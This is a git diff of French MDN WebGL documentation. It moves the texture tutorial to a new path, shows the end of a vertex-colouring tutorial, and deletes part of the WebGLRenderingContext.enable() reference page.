+    void main(void) {
+      gl_FragColor = vColor;
+    }
+  `;
+ +

La principale différence ici c'est que pour chaque sommet, on assigne la valeur correspondant à sa couleur dans le tableau.

+ +

Dessiner en utilisant les couleurs

+ +

Ensuite, il est nécessaire d'ajouter le code recherchant les couleurs dans l'emplacement de l'attribut, et de configurer cet attribut pour le programme nuanceur :

+ +
  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      vertexColor: gl.getAttribLocation(shaderProgram, 'aVertexColor'),
+    },
+    ...
+ +

Ensuite, drawScene() peut être modifié pour utiliser réellement ces couleurs lors du dessin du carré :

+ +
  // Indiquer à WebGL comment transférer les couleurs du tampon des couleurs
+  // dans l'attribut vertexColor.
+  {
+    const numComponents = 4;
+    const type = gl.FLOAT;
+    const normalize = false;
+    const stride = 0;
+    const offset = 0;
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.color);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexColor,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexColor);
+  }
+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample3/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html new file mode 100644 index 0000000000..6e1d7bb67d --- /dev/null +++ b/files/fr/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -0,0 +1,278 @@ +--- +title: Utilisation des textures en WebGL +slug: Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL +tags: + - Tutoriel + - WebGL +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

Maintenant que notre programme peut faire tourner un cube 3D, appliquons lui une texture, au lieu d'avoir des couleurs unies pour ses faces.

+ +

Chargement des textures

+ +

La première chose à faire est d'ajouter le code pour charger les textures. Dans notre cas, nous utiliserons une texture unique, appliquée à chacune des six faces de notre cube en rotation ; mais la même technique peut être utilisée un nombre quelconque de textures.

+ +
Note : il est important de noter que le chargement des textures suit les règles inter-domaines ; donc vous pouvez seulement charger des textures depuis les sites pour lesquels votre contenu a l'approbation CORS. Voir les textures inter-domaines ci-dessous pour plus de détails.
+ +

Le code qui charge la texture ressemble à ce qui suit : 

+ +
//
+// Initialiser une texture et charger une image.
+// Quand le chargement d'une image est terminé, la copier dans la texture.
+//
+function loadTexture(gl, url) {
+  const texture = gl.createTexture();
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Du fait que les images doivent être téléchargées depuis l'internet,
+  // il peut s'écouler un certain temps avant qu'elles ne soient prêtes.
+  // Jusque là, mettre un seul pixel dans la texture, de sorte que nous puissions
+  // l'utiliser immédiatement. Quand le téléchargement de la page sera terminé,
+  // nous mettrons à jour la texture avec le contenu de l'image.
+  const level = 0;
+  const internalFormat = gl.RGBA;
+  const width = 1;
+  const height = 1;
+  const border = 0;
+  const srcFormat = gl.RGBA;
+  const srcType = gl.UNSIGNED_BYTE;
+  const pixel = new Uint8Array([0, 0, 255, 255]);  // bleu opaque
+  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                width, height, border, srcFormat, srcType,
+                pixel);
+
+  const image = new Image();
+  image.onload = function() {
+    gl.bindTexture(gl.TEXTURE_2D, texture);
+    gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
+                  srcFormat, srcType, image);
+
+    // WebGL1 a des spécifications différentes pour les images puissances de 2
+    // par rapport aux images non puissances de 2 ; aussi vérifier si l'image est une
+    // puissance de 2 sur chacune de ses dimensions.
+    if (isPowerOf2(image.width) && isPowerOf2(image.height)) {
+       // Oui, c'est une puissance de 2. Générer les mips.
+       gl.generateMipmap(gl.TEXTURE_2D);
+    } else {
+       // Non, ce n'est pas une puissance de 2. Désactiver les mips et définir l'habillage
+       // comme "accrocher au bord"
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+    }
+  };
+  image.src = url;
+
+  return texture;
+}
+
+function isPowerOf2(value) {
+  return (value & (value - 1)) == 0;
+}
+ +

La routine loadTexture() commence par créer un objet texture WebGL texture en appelant la fonction WebGL {{domxref ("WebGLRenderingContext.createTexture()", "createTexture()")}}. Il téléverse ensuite un seul pixel bleu en utilisant {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Cela rend la texture immédiatement utilisable comme une couleur bleue unie, alors que cela peut prendre quelques instants pour télécharger notre image.

+ +

Pour charger la texture à partir du fichier image, elle crée ensuite un objet Image et en affecte le src à l'URL de l'image que nous souhaitons utiliser comme texture. La fonction que nous affectons à image.onload sera appelée une fois terminé le téléchargement de l'image. À ce stade, nous appelons à nouveau {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, cette fois en utilisant l'image comme source pour la texture. Après cela, nous configurons le filtrage et l'habillage de la texture suivant que l'image que nous téléchargeons a ou non une puissance de 2 selon ses deux dimensions.

+ +

WebGL1 ne peut utiliser que des textures non puissances de 2 avec d'un filtrage défini à NEAREST ou LINEAR, et il ne peut pas générer de mipmap pour elles. Leur mode d'habillage doit également être défini à CLAMP_TO_EDGE. Inversement, si la texture est une puissance de 2 dans les deux dimensions, alors WebGL peut faire un filtrage de meilleure qualité, il peut utiliser mipmap, et il peut définir le mode d'habillage à REPEAT ou MIRRORED_REPEAT.

+ +

Un exemple de texture répétée est le pavage d'une image par quelques briques pour couvrir un mur de briques.

+ +

Le mipmapping et la répétition UV peuvent être désactivés avec {{domxref ("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Cela permettra des textures non-puissances-de-deux (NPOT) au prix du mipmapping, de l'habillage UV, du pavage UV, et de votre contrôle sur la manière dont le périphérique gérera votre texture.

+ +
// gl.NEAREST est aussi permis, au lieu de gl.LINEAR, du fait qu'aucun ne fait de mipmap.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
+// Empêcher l'habillage selon la coordonnée s (répétition).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
+// Empêcher l'habillage selon la coordonnée t (répétition).
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
+ +

A nouveau, avec ces paramètres, les appareils WebGL compatibles accepteront automatiquement toute résolution pour cette texture (jusqu'à leurs dimensions maximum). A défaut de la configuration ci-dessus, WebGL requiert que tous les échantillons de textures NPOT échouent, en retournant du noir transparent : rgba (0,0,0,0).

+ +

Pour charger l'image, ajoutons un appel à notre fonction loadTexture() dans notre fonction main(). Cela peut être ajouté après l'appel initBuffers(gl).

+ +
// Charger la texture
+const texture = loadTexture(gl, 'cubetexture.png');
+
+ +

Application de la texture sur les faces

+ +

À ce stade, la texture est chargée et prête à être utilisée. Mais avant de pouvoir l'utiliser, nous devons définir l'application des coordonnées de texture aux sommets des faces de notre cube. Cela remplace tout le code précédemment existant pour la configuration des couleurs pour chacune des faces du cube dans initBuffers().

+ +
 const textureCoordBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);
+
+  const textureCoordinates = [
+    // Front
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Back
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Top
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Bottom
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Right
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+    // Left
+    0.0,  0.0,
+    1.0,  0.0,
+    1.0,  1.0,
+    0.0,  1.0,
+  ];
+
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
+                gl.STATIC_DRAW);
+
+...
+  return {
+    position: positionBuffer,
+    textureCoord: textureCoordBuffer,
+    indices: indexBuffer,
+  };
+ +

Tout d'abord, ce code crée un tampon WebGL dans lequel nous stockerons les coordonnées de texture pour chaque face, puis nous lions ce tampon comme étant le tableau dans lequel nous allons écrire.

+ +

Le tableau textureCoordinates définit les coordonnées de texture correspondant à chaque sommet de chaque face. Notez que les coordonnées de texture vont de 0,0 à 1,0 ; les dimensions des textures sont normalisées dans une plage de 0,0 à 1,0 quelque soit leur taille réelle, aux fins d'application de la texture.

+ +

Une fois que nous avons mis en place le tableau d'application de la texture, nous l'envoyons dans le tampon, de sorte que WebGL ait ces données prêtes pour son utilisation.

+ +

Mise à jour des shaders

+ +

Le programme shader doit également être mis à jour pour utiliser des textures au lieu de couleurs unies.

+ +

Le shader de sommet

+ +

Nous avons besoin de remplacer le shader de sommet de façon à ce qu'au lieu de récupérer des données de couleur, il récupère à la place des données de coordonnées de texture.

+ +
const vsSource = `
+    attribute vec4 aVertexPosition;
+    attribute vec2 aTextureCoord;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    varying highp vec2 vTextureCoord;
+
+    void main(void) {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+      vTextureCoord = aTextureCoord;
+    }
+  `;
+ +

Le changement clé est ici qu'au lieu d'aller chercher la couleur du sommet, nous récupérons les coordonnées de la texture, et nous les transmettons au shader de sommet ; ceci indiquera l'emplacement dans la texture correspondant au sommet.

+ +

Le shader de fragment

+ +

Le shader de fragment doit également être mis à jour :

+ +
const fsSource = `
+    varying highp vec2 vTextureCoord;
+
+    uniform sampler2D uSampler;
+
+    void main(void) {
+      gl_FragColor = texture2D(uSampler, vTextureCoord);
+    }
+  `;
+ +

Au lieu d'attribuer une valeur de couleur à la couleur du fragment, la couleur du fragment est calculée en récupérant le texel (c'est-à-dire, le pixel dans la texture) sur la base de la valeur de vTextureCoord, qui est interpolée comme les sommets.

+ +

Emplacements des attributs et des uniformes

+ +

Du fait que nous avons changé un attribut et ajouté un uniforme, nous devons rechercher leurs emplacements :

+ +
  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
+    },
+  };
+
+ +

Dessin du cube texturé

+ +

Les modifications apportées à la fonction drawScene() sont simples.

+ +

Tout d'abord, le code pour spécifier le tampon de couleurs a disparu, remplacé par ce qui suit :

+ +
// Indiquer à WebGL comment extraire les coordonnées de texture du tampon
+{
+    const num = 2; // chaque coordonnée est composée de 2 valeurs
+    const type = gl.FLOAT; // les données dans le tampon sont des flottants 32 bits
+    const normalize = false; // ne pas normaliser
+    const stride = 0; // combien d'octets à récupérer entre un jeu et le suivant
+    const offset = 0; // à combien d'octets du début faut-il commencer
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);
+    gl.vertexAttribPointer(programInfo.attributeLocations.textureCoord, num, type, normalize, stride, offset);
+    gl.enableVertexAttribArray(programInfo.attributeLocations.textureCoord);
+}
+ +

Ajoutez alors le code pour spécifier la texture à appliquer sur les faces, juste avant de dessiner :

+ +
  // Indiquer à WebGL que nous voulons affecter l'unité de texture 0
+  gl.activeTexture(gl.TEXTURE0);
+
+  // Lier la texture à l'unité de texture 0
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+
+  // Indiquer au shader que nous avons lié la texture à l'unité de texture 0
+  gl.uniform1i(programInfo.uniformLocations.uSampler, 0);
+ +

WebGL fournit un minimum de 8 unités de texture ; la première d'entre elles est gl.TEXTURE0. Nous indiquons à WebGL que nous voulons affecter l'unité 0. Nous appelons alors {{domxref ("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, qui lie la texture au point de liaison TEXTURE_2D de l'unité de texture 0. Nous indiquons alors au shader que pour l'uSampler, il faut utiliser l'unité de texture 0.

+ +

Finalement, ajoutez texture comme paramètre de la fonction drawScene(), où elle est à la fois définie et appelée.

+ +
drawScene(gl, programInfo, buffers, texture, deltaTime);
+...
+function drawScene(gl, programInfo, buffers, texture, deltaTime) {
+ +

Arrivés ce point, le cube en rotation devrait être prêt à fonctionner.

+ +

{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}

+ +

Voir le code complet | Ouvrir cette démo dans une nouvelle page

+ +

Textures inter-domaines

+ +

Le chargement des textures WebGL est soumis aux contrôles d'accès inter-domaines. Pour que votre contenu puisse charger une texture d'un autre domaine, une approbation CORS doit être obtenue. Voir le Contrôle d'accès HTTP pour plus de détails sur CORS.

+ +

Voir cet article sur hacks.mozilla.org pour une explication de l'utilisation des images approuvées CORS comme textures WebGL, avec un exemple complet.

+ +
+

Note : le support CORS pour les texture WebGL et l'attribut crossOrigin pour les éléments image est implémenté dans {{Gecko("8.0")}}.

+
+ +

Les canevas 2D dégradés (en écriture seule) ne peuvent pas être utilisés comme des textures WebGL. Un {{HTMLElement ("canvas")}} 2D devient dégradé par exemple lorsqu'il est utilisé pour dessiner une image inter-domaine.

+ +
+

Note : le support CORS pour drawImage de Canvas 2D est implémenté dans {{Gecko ("9.0")}}. Cela signifie que l'utilisation d'une image inter-domaine ayant l'approbation CORS ne dégrade plus le canevas 2D, de sorte que le canevas 2D reste utilisable comme source d'une texture WebGL.

+
+ +
+

Note : le support CORS pour les vidéos inter-domaines et l'attribut crossorigin pour les éléments {{HTMLElement ("video")}} est implémenté dans {{Gecko ("12.0")}}.

+
+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html b/files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html deleted file mode 100644 index 6e1d7bb67d..0000000000 --- a/files/fr/web/api/webgl_api/tutorial/utiliser_les_textures_avec_webgl/index.html +++ /dev/null @@ -1,278 +0,0 @@ ---- -title: Utilisation des textures en WebGL -slug: Web/API/WebGL_API/Tutorial/Utiliser_les_textures_avec_WebGL -tags: - - Tutoriel - - WebGL -translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL ---- -

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

- -

Maintenant que notre programme peut faire tourner un cube 3D, appliquons lui une texture, au lieu d'avoir des couleurs unies pour ses faces.

- -

Chargement des textures

- -

La première chose à faire est d'ajouter le code pour charger les textures. Dans notre cas, nous utiliserons une texture unique, appliquée à chacune des six faces de notre cube en rotation ; mais la même technique peut être utilisée un nombre quelconque de textures.

- -
Note : il est important de noter que le chargement des textures suit les règles inter-domaines ; donc vous pouvez seulement charger des textures depuis les sites pour lesquels votre contenu a l'approbation CORS. Voir les textures inter-domaines ci-dessous pour plus de détails.
- -

Le code qui charge la texture ressemble à ce qui suit : 

- -
//
-// Initialiser une texture et charger une image.
-// Quand le chargement d'une image est terminé, la copier dans la texture.
-//
-function loadTexture(gl, url) {
-  const texture = gl.createTexture();
-  gl.bindTexture(gl.TEXTURE_2D, texture);
-
-  // Du fait que les images doivent être téléchargées depuis l'internet,
-  // il peut s'écouler un certain temps avant qu'elles ne soient prêtes.
-  // Jusque là, mettre un seul pixel dans la texture, de sorte que nous puissions
-  // l'utiliser immédiatement. Quand le téléchargement de la page sera terminé,
-  // nous mettrons à jour la texture avec le contenu de l'image.
-  const level = 0;
-  const internalFormat = gl.RGBA;
-  const width = 1;
-  const height = 1;
-  const border = 0;
-  const srcFormat = gl.RGBA;
-  const srcType = gl.UNSIGNED_BYTE;
-  const pixel = new Uint8Array([0, 0, 255, 255]);  // bleu opaque
-  gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
-                width, height, border, srcFormat, srcType,
-                pixel);
-
-  const image = new Image();
-  image.onload = function() {
-    gl.bindTexture(gl.TEXTURE_2D, texture);
-    gl.texImage2D(gl.TEXTURE_2D, level, internalFormat,
-                  srcFormat, srcType, image);
-
-    // WebGL1 a des spécifications différentes pour les images puissances de 2
-    // par rapport aux images non puissances de 2 ; aussi vérifier si l'image est une
-    // puissance de 2 sur chacune de ses dimensions.
-    if (isPowerOf2(image.width) && isPowerOf2(image.height)) {
-       // Oui, c'est une puissance de 2. Générer les mips.
-       gl.generateMipmap(gl.TEXTURE_2D);
-    } else {
-       // Non, ce n'est pas une puissance de 2. Désactiver les mips et définir l'habillage
-       // comme "accrocher au bord"
-       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
-       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
-       gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
-    }
-  };
-  image.src = url;
-
-  return texture;
-}
-
-function isPowerOf2(value) {
-  return (value & (value - 1)) == 0;
-}
- -

La routine loadTexture() commence par créer un objet texture WebGL texture en appelant la fonction WebGL {{domxref ("WebGLRenderingContext.createTexture()", "createTexture()")}}. Il téléverse ensuite un seul pixel bleu en utilisant {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}. Cela rend la texture immédiatement utilisable comme une couleur bleue unie, alors que cela peut prendre quelques instants pour télécharger notre image.

- -

Pour charger la texture à partir du fichier image, elle crée ensuite un objet Image et en affecte le src à l'URL de l'image que nous souhaitons utiliser comme texture. La fonction que nous affectons à image.onload sera appelée une fois terminé le téléchargement de l'image. À ce stade, nous appelons à nouveau {{domxref ("WebGLRenderingContext.texImage2D()", "texImage2D()")}}, cette fois en utilisant l'image comme source pour la texture. Après cela, nous configurons le filtrage et l'habillage de la texture suivant que l'image que nous téléchargeons a ou non une puissance de 2 selon ses deux dimensions.

- -

WebGL1 ne peut utiliser que des textures non puissances de 2 avec d'un filtrage défini à NEAREST ou LINEAR, et il ne peut pas générer de mipmap pour elles. Leur mode d'habillage doit également être défini à CLAMP_TO_EDGE. Inversement, si la texture est une puissance de 2 dans les deux dimensions, alors WebGL peut faire un filtrage de meilleure qualité, il peut utiliser mipmap, et il peut définir le mode d'habillage à REPEAT ou MIRRORED_REPEAT.

- -

Un exemple de texture répétée est le pavage d'une image par quelques briques pour couvrir un mur de briques.

- -

Le mipmapping et la répétition UV peuvent être désactivés avec {{domxref ("WebGLRenderingContext.texParameter()", "texParameteri()")}}. Cela permettra des textures non-puissances-de-deux (NPOT) au prix du mipmapping, de l'habillage UV, du pavage UV, et de votre contrôle sur la manière dont le périphérique gérera votre texture.

- -
// gl.NEAREST est aussi permis, au lieu de gl.LINEAR, du fait qu'aucun ne fait de mipmap.
-gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR);
-// Empêcher l'habillage selon la coordonnée s (répétition).
-gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE);
-// Empêcher l'habillage selon la coordonnée t (répétition).
-gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE);
- -

A nouveau, avec ces paramètres, les appareils WebGL compatibles accepteront automatiquement toute résolution pour cette texture (jusqu'à leurs dimensions maximum). A défaut de la configuration ci-dessus, WebGL requiert que tous les échantillons de textures NPOT échouent, en retournant du noir transparent : rgba (0,0,0,0).

- -

Pour charger l'image, ajoutons un appel à notre fonction loadTexture() dans notre fonction main(). Cela peut être ajouté après l'appel initBuffers(gl).

- -
// Charger la texture
-const texture = loadTexture(gl, 'cubetexture.png');
-
- -

Application de la texture sur les faces

- -

À ce stade, la texture est chargée et prête à être utilisée. Mais avant de pouvoir l'utiliser, nous devons définir l'application des coordonnées de texture aux sommets des faces de notre cube. Cela remplace tout le code précédemment existant pour la configuration des couleurs pour chacune des faces du cube dans initBuffers().

- -
 const textureCoordBuffer = gl.createBuffer();
-  gl.bindBuffer(gl.ARRAY_BUFFER, textureCoordBuffer);
-
-  const textureCoordinates = [
-    // Front
-    0.0,  0.0,
-    1.0,  0.0,
-    1.0,  1.0,
-    0.0,  1.0,
-    // Back
-    0.0,  0.0,
-    1.0,  0.0,
-    1.0,  1.0,
-    0.0,  1.0,
-    // Top
-    0.0,  0.0,
-    1.0,  0.0,
-    1.0,  1.0,
-    0.0,  1.0,
-    // Bottom
-    0.0,  0.0,
-    1.0,  0.0,
-    1.0,  1.0,
-    0.0,  1.0,
-    // Right
-    0.0,  0.0,
-    1.0,  0.0,
-    1.0,  1.0,
-    0.0,  1.0,
-    // Left
-    0.0,  0.0,
-    1.0,  0.0,
-    1.0,  1.0,
-    0.0,  1.0,
-  ];
-
-  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(textureCoordinates),
-                gl.STATIC_DRAW);
-
-...
-  return {
-    position: positionBuffer,
-    textureCoord: textureCoordBuffer,
-    indices: indexBuffer,
-  };
- -

Tout d'abord, ce code crée un tampon WebGL dans lequel nous stockerons les coordonnées de texture pour chaque face, puis nous lions ce tampon comme étant le tableau dans lequel nous allons écrire.

- -

Le tableau textureCoordinates définit les coordonnées de texture correspondant à chaque sommet de chaque face. Notez que les coordonnées de texture vont de 0,0 à 1,0 ; les dimensions des textures sont normalisées dans une plage de 0,0 à 1,0 quelque soit leur taille réelle, aux fins d'application de la texture.

- -

Une fois que nous avons mis en place le tableau d'application de la texture, nous l'envoyons dans le tampon, de sorte que WebGL ait ces données prêtes pour son utilisation.

- -

Mise à jour des shaders

- -

Le programme shader doit également être mis à jour pour utiliser des textures au lieu de couleurs unies.

- -

Le shader de sommet

- -

Nous avons besoin de remplacer le shader de sommet de façon à ce qu'au lieu de récupérer des données de couleur, il récupère à la place des données de coordonnées de texture.

- -
const vsSource = `
-    attribute vec4 aVertexPosition;
-    attribute vec2 aTextureCoord;
-
-    uniform mat4 uModelViewMatrix;
-    uniform mat4 uProjectionMatrix;
-
-    varying highp vec2 vTextureCoord;
-
-    void main(void) {
-      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
-      vTextureCoord = aTextureCoord;
-    }
-  `;
- -

Le changement clé est ici qu'au lieu d'aller chercher la couleur du sommet, nous récupérons les coordonnées de la texture, et nous les transmettons au shader de sommet ; ceci indiquera l'emplacement dans la texture correspondant au sommet.

- -

Le shader de fragment

- -

Le shader de fragment doit également être mis à jour :

- -
const fsSource = `
-    varying highp vec2 vTextureCoord;
-
-    uniform sampler2D uSampler;
-
-    void main(void) {
-      gl_FragColor = texture2D(uSampler, vTextureCoord);
-    }
-  `;
- -

Au lieu d'attribuer une valeur de couleur à la couleur du fragment, la couleur du fragment est calculée en récupérant le texel (c'est-à-dire, le pixel dans la texture) sur la base de la valeur de vTextureCoord, qui est interpolée comme les sommets.

- -

Emplacements des attributs et des uniformes

- -

Du fait que nous avons changé un attribut et ajouté un uniforme, nous devons rechercher leurs emplacements :

- -
  const programInfo = {
-    program: shaderProgram,
-    attribLocations: {
-      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
-      textureCoord: gl.getAttribLocation(shaderProgram, 'aTextureCoord'),
-    },
-    uniformLocations: {
-      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
-      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
-      uSampler: gl.getUniformLocation(shaderProgram, 'uSampler'),
-    },
-  };
-
- -

Dessin du cube texturé

- -

Les modifications apportées à la fonction drawScene() sont simples.

- -

Tout d'abord, le code pour spécifier le tampon de couleurs a disparu, remplacé par ce qui suit :

- -
// Indiquer à WebGL comment extraire les coordonnées de texture du tampon
-{
-    const num = 2; // chaque coordonnée est composée de 2 valeurs
-    const type = gl.FLOAT; // les données dans le tampon sont des flottants 32 bits
-    const normalize = false; // ne pas normaliser
-    const stride = 0; // combien d'octets à récupérer entre un jeu et le suivant
-    const offset = 0; // à combien d'octets du début faut-il commencer
-    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.textureCoord);
-    gl.vertexAttribPointer(programInfo.attributeLocations.textureCoord, num, type, normalize, stride, offset);
-    gl.enableVertexAttribArray(programInfo.attributeLocations.textureCoord);
-}
- -

Ajoutez alors le code pour spécifier la texture à appliquer sur les faces, juste avant de dessiner :

- -
  // Indiquer à WebGL que nous voulons affecter l'unité de texture 0
-  gl.activeTexture(gl.TEXTURE0);
-
-  // Lier la texture à l'unité de texture 0
-  gl.bindTexture(gl.TEXTURE_2D, texture);
-
-  // Indiquer au shader que nous avons lié la texture à l'unité de texture 0
-  gl.uniform1i(programInfo.uniformLocations.uSampler, 0);
- -

WebGL fournit un minimum de 8 unités de texture ; la première d'entre elles est gl.TEXTURE0. Nous indiquons à WebGL que nous voulons affecter l'unité 0. Nous appelons alors {{domxref ("WebGLRenderingContext.bindTexture()", "bindTexture()")}}, qui lie la texture au point de liaison TEXTURE_2D de l'unité de texture 0. Nous indiquons alors au shader que pour l'uSampler, il faut utiliser l'unité de texture 0.

- -

Finalement, ajoutez texture comme paramètre de la fonction drawScene(), où elle est à la fois définie et appelée.

- -
drawScene(gl, programInfo, buffers, texture, deltaTime);
-...
-function drawScene(gl, programInfo, buffers, texture, deltaTime) {
- -

Arrivés ce point, le cube en rotation devrait être prêt à fonctionner.

- -

{{EmbedGHLiveSample('webgl-examples/tutorial/sample6/index.html', 670, 510) }}

- -

Voir le code complet | Ouvrir cette démo dans une nouvelle page

- -

Textures inter-domaines

- -

Le chargement des textures WebGL est soumis aux contrôles d'accès inter-domaines. Pour que votre contenu puisse charger une texture d'un autre domaine, une approbation CORS doit être obtenue. Voir le Contrôle d'accès HTTP pour plus de détails sur CORS.

- -

Voir cet article sur hacks.mozilla.org pour une explication de l'utilisation des images approuvées CORS comme textures WebGL, avec un exemple complet.

- -
-

Note : le support CORS pour les texture WebGL et l'attribut crossOrigin pour les éléments image est implémenté dans {{Gecko("8.0")}}.

-
- -

Les canevas 2D dégradés (en écriture seule) ne peuvent pas être utilisés comme des textures WebGL. Un {{HTMLElement ("canvas")}} 2D devient dégradé par exemple lorsqu'il est utilisé pour dessiner une image inter-domaine.

- -
-

Note : le support CORS pour drawImage de Canvas 2D est implémenté dans {{Gecko ("9.0")}}. Cela signifie que l'utilisation d'une image inter-domaine ayant l'approbation CORS ne dégrade plus le canevas 2D, de sorte que le canevas 2D reste utilisable comme source d'une texture WebGL.

-
- -
-

Note : le support CORS pour les vidéos inter-domaines et l'attribut crossorigin pour les éléments {{HTMLElement ("video")}} est implémenté dans {{Gecko ("12.0")}}.

-
- -

{{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

diff --git a/files/fr/web/api/webglrenderingcontext/activer/index.html b/files/fr/web/api/webglrenderingcontext/activer/index.html deleted file mode 100644 index 4d3b41d6c0..0000000000 --- a/files/fr/web/api/webglrenderingcontext/activer/index.html +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: WebGLRenderingContext.enable() -slug: Web/API/WebGLRenderingContext/activer -tags: - - API - - Méthode - - Reference - - WebGL - - WebGLRenderingContext -translation_of: Web/API/WebGLRenderingContext/enable ---- -
{{APIRef("WebGL")}}
- -

La méthode WebGLRenderingContext.enable() de l'API WebGL active des fonctionnalités WebGL particulières pour ce contexte.

- -

Syntaxe

- -
void gl.enable(fon);
-
- -

Paramètres

- -
-
fon
-
Un {{domxref("GLenum")}} indiquant quelle fonctionnalité WebGL activer. Valeurs possibles :
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ConstanteDescription
gl.BLENDActive le mélange des valeurs de couleur de fragment calculées. Voir {{domxref("WebGLRenderingContext.blendFunc()")}}.
gl.CULL_FACEActive le masquage des polygones. Voir {{domxref("WebGLRenderingContext.cullFace()")}}.
gl.DEPTH_TESTActive les comparaisons et les mises à jour dans le tampon de profondeur. Voir {{domxref("WebGLRenderingContext.depthFunc()")}}.
gl.DITHERActive le tramage des composantes de couleur avant qu'elles ne soient écrites dans le tampon de couleur.
gl.POLYGON_OFFSET_FILLActive l'ajout d'un décalage aux valeurs de profondeur des fragments de polygone. Voir {{domxref("WebGLRenderingContext.polygonOffset()")}}.
gl.SAMPLE_ALPHA_TO_COVERAGEActive le calcul d'une valeur de couverture temporaire déterminée par la valeur alpha.
